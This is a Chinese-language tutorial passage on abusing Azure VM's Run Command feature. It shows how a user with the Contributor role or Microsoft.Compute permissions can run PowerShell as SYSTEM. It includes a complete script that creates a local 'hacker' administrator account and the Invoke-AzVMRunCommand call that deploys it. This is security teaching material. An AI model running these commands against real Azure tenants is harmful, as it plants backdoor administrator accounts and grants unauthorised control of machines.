在Azure VM虚拟机中,Azure VM虚拟机提供了一个“Run Command (运行命令)的功能,如图1-1所示,“Run Command" 可以使用 VM (虚拟机)代理在Azure Windows VM 虚拟机上远程执行脚本,只要具有Azure资源组级别的Contributor(参与者)角色或持有 Microsoft.Compute/*权限的任何自定义角色的用户,便可以通过使用Powershell中的Invoke-AzVMRunCommand cmdlet 命令在表1-1所示的Azure VM windows操作系统中以NT Authority\System权限来调用Run Command功能来运行 PowerShell 脚本。

图1-1

表1-1 支持执行“Run Command (运行命令)功能的Azure VM windows操作系统

操作系统版本

X64

Windows 10

支持

Windows 11

支持

Windows Server 2008 SP2

支持

Windows Server 2008 R2

支持

Windows Server 2012

支持

Windows Server 2012 R2

支持

Windows Server 2016

支持

Windows Server 2016 Core

支持

Windows Server 2019

支持

Windows Server 2019 Core

支持

Windows Server 2022

支持

Windows Server 2022 Core

支持

首先,我们可以在本地编写一个名称为“runcommand1.ps1"的powershell脚本,并在powershell脚本中添加如下内容,如图1-2所示,使其在Azure VM虚拟机上创建了一个新的用户账户(用户名:hacker,密码:Aa123456),并将此用户加入到本地管理员组中,赋予其管理员权限

$passwd = ConvertTo-SecureString "Aa123456" -AsPlainText -Force
\\将明文密码"Aa123456"转换为安全字符串格式
New-LocalUser -Name hacker -Password $passwd
\\创建一个名为"hacker"的本地用户账户,并将其密码设置为之前转换成SecureString的"Aa123456"。新创建的用户是AzureVM虚拟机上的本地用户
Add-LocalGroupMember -Group Administrators -Member hacker
\\将名为"hacker"的新创建的本地用户添加到本地管理员组中。

图1-2

随后,我们执行如下命令来在 Azure VM(虚拟机) 上以NT Authority\System权限来运行名为“runcommand1.ps1”的PowerShell 脚本,其中-VMName参数表示 Azure VM(虚拟机)的名称,-ResourceGroupName参数表示当前VM所在的资源组,-CommandId参数表示将要在Azure中运行的存储类型的命令, “RunPowerShellScript”表示我们要运行的命令类型为PowerShell脚本,-ScriptPath参数表示我们将要运行的Powershell脚本文件的本地路径,如图1-3所示,我们可以看到已通过Invoke-AzVMRunCommand命令成功在Azure VM(虚拟机)上添加了一个账号名为“hacker”,密码为“Aa123456”的用户。

Invoke-AzVMRunCommand -VMName APP -ResourceGroupName demo -CommandId 'RunPowerShellScript' -ScriptPath .\runcommand1.ps1

图1-3